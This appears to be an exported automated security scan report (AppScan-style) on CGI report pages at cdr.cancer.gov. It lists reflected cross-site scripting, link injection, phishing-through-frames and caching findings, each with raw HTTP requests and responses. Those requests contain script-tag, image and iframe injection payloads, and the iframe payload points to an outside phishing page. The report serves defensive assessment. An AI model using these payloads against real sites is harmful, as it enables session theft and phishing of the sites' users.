Content-Length: 13115

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 14 of 14

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448182 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py |
| Parameter: | DocType |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 2

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/QcReport.py?DocType=GlossaryTermName&Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:51 GMT
Connection: close
Content-Length: 13028

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448034 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1552)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/RecordingTrackingReport.py? Session=None'/><script>alert(1552)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:03 GMT
Connection: close
Content-Length: 3641

...
/TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July
23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1552) </script>'>
<fieldset>
<legend> Select Date Range </legend>

<table class="tablecenter" border="0">
<tr>
<td align="right">
<label for="FromDate">Start Date: </label>
</td>
<td>
<input id="FromDate" name="FromDate"

...
...
/TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July
23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1552) </script>'>
        <fieldset>
        <legend> Select Date Range </legend>

        <table class="tablecenter" border="0">
        <tr>
        <td align="right">
        <label for="FromDate">Start Date: </label>
        </td>
        <td>
        <input id="FromDate" name="FromDate"

        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448243 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1549.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/RecordingTrackingReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1549.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:02 GMT
Connection: close
Content-Length: 3638

...
bsp;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1549.html"> '>
<fieldset>
<legend> Select Date Range </legend>

<table class="tablecenter" border="0">
<tr>
<td align="right">
<label for="FromDate">Start Date: </label>
</td>
<td>
<input id="FromDate" name="FromDate"
value=
...
...
bsp;
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
```

```
        <INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1549.html"> '>
        <fieldset>
        <legend> Select Date Range </legend>

        <table class="tablecenter" border="0">
        <tr>
        <td align="right">
        <label for="FromDate">Start Date: </label>
        </td>
        <td>
        <input id="FromDate" name="FromDate"
        value=
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448279 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1548+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/RecordingTrackingReport.py? Session=None%27%22%3E%3Ciframe+id%3D1548+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:07:02 GMT
Connection: close
Content-Length: 3672

...

</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1548 src= http://demo.testfire.net/phishing.html > >'>
<fieldset>
<legend> Select Date Range </legend>

<table class="tablecenter" border="0">
<tr>
<td align="right">
<label for="FromDate">Start Date: </label>
</td>
<td>
<input id="FromDate" name="FromDate"

...
...

</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Board Meeting Recordings Tracking Report - July 23, 2014<BR></span>
</TD>
</TR>
</TABLE>
```

```
        <BR>
        <INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1548 src= http://demo.testfire.net/p
        hishing.html > >'>
        <fieldset>
        <legend> Select Date Range </legend>

        <table class="tablecenter" border="0">
        <tr>
        <td align="right">
        <label for="FromDate">Start Date: </label>
        </td>
        <td>
        <input id="FromDate" name="FromDate"

        ...
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448079 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/RecordingTrackingReport.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/RecordingTrackingReport.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:09 GMT
Connection: close
Content-Length: 3610

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448313 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/RecordingTrackingReport.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:56 GMT
Connection: close
Content-Length: 3610

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448093 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1211)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/ReplaceCWDReport.py? Session=None'/><script>alert(1211)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:05:37 GMT
Connection: close
Content-Length: 3024

...
text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='None'/><script> alert(1211) </script>'>
</form>
</body>
</html>
...
text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='None'/><script> alert(1211) </script>'>
</form>
</body>
</html>
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448301 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1208.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/ReplaceCWDReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1208.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:05:36 GMT
Connection: close
Content-Length: 3021


...
input type='text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1208.html"> '>
</form>
</body>
</html>
...
input type='text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1208.html"> '>
</form>
</body>
</html>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448314 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1207+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/ReplaceCWDReport.py? Session=None%27%22%3E%3Ciframe+id%3D1207+src%3Dhttp%3A%2F%2F
demo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:05:36 GMT
Connection: close
Content-Length: 3055


...
t type='text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='None'"> <iframe id=1207 src= http://demo.testfire.net/p
hishing.html > >'>
</form>
</body>
</html>
...
t type='text' name='docType' size='30' /></td>
</tr>
<tr>
<td align='right'>CDR ID (to only see one document: </td>
<td><input type='text' name='docId' size='20' /></td>
</tr>
</table>

<input type='hidden' name='formSeen' value='True'>
<input type='hidden' name='Session' value='None'"> <iframe id=1207 src= http://demo.testfire.net/p
hishing.html > >'>
</form>
</body>
</html>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448297 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/ReplaceCWDReport.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/ReplaceCWDReport.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:04:03 GMT
Connection: close
Content-Length: 2993

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Report CWD Replacements</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448322 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/ReplaceCWDReport.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:18 GMT
Connection: close
Content-Length: 2993

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Report CWD Replacements</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448029 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1521)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4333.py? Session=None'/><script>alert(1521)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:06:24 GMT
Connection: close
Content-Length: 3183

...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1521) </script>' />
<table border='0'>
<tr>
<th align='right'>Start Date: </th>
<td><input class='CdrDateField' name='begin' id='begin'
value='2014-07-16' /></td>
</tr>
<tr>
<th align='right'>End Date: </th>
<td><input class='CdrDateField' name='
...
...
Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
        <input type='hidden' name='Session' value='None'/><script> alert(1521) </script>' />
        <table border='0'>
        <tr>
        <th align='right'>Start Date: </th>
        <td><input class='CdrDateField' name='begin' id='begin'
        value='2014-07-16' /></td>
        </tr>
        <tr>
        <th align='right'>End Date: </th>
        <td><input class='CdrDateField' name='
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448050 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1518.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/Request4333.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1518.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:06:23 GMT
Connection: close
Content-Length: 3180

...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1518.html"> ' />
<table border='0'>
<tr>
<th align='right'>Start Date: </th>
<td><input class='CdrDateField' name='begin' id='begin'
value='2014-07-16' /></td>
</tr>
<tr>
<th align='right'>End Date: </th>
<td><input class='CdrDateField' name='end' id='
...
...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1518.html"> ' />
<table border='0'>
<tr>
```

```
        <th align='right'>Start Date: </th>
        <td><input class='CdrDateField' name='begin' id='begin'
        value='2014-07-16' /></td>
        </tr>
        <tr>
        <th align='right'>End Date: </th>
        <td><input class='CdrDateField' name='end' id='
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448307 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1517+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4333.py? Session=None%27%22%3E%3Ciframe+id%3D1517+src%3Dhttp%3A%2F%2Fdemo.
testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:06:22 GMT
Connection: close
Content-Length: 3214


...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1517 src= http://demo.testfire.net/p
hishing.html > >' />
<table border='0'>
<tr>
<th align='right'>Start Date: </th>
<td><input class='CdrDateField' name='begin' id='begin'
value='2014-07-16' /></td>
</tr>
<tr>
<th align='right'>End Date: </th>
<td><input class='CdrDateFi
...
...
UE='Log Out'> 
</TD>
</TR>
<TR>
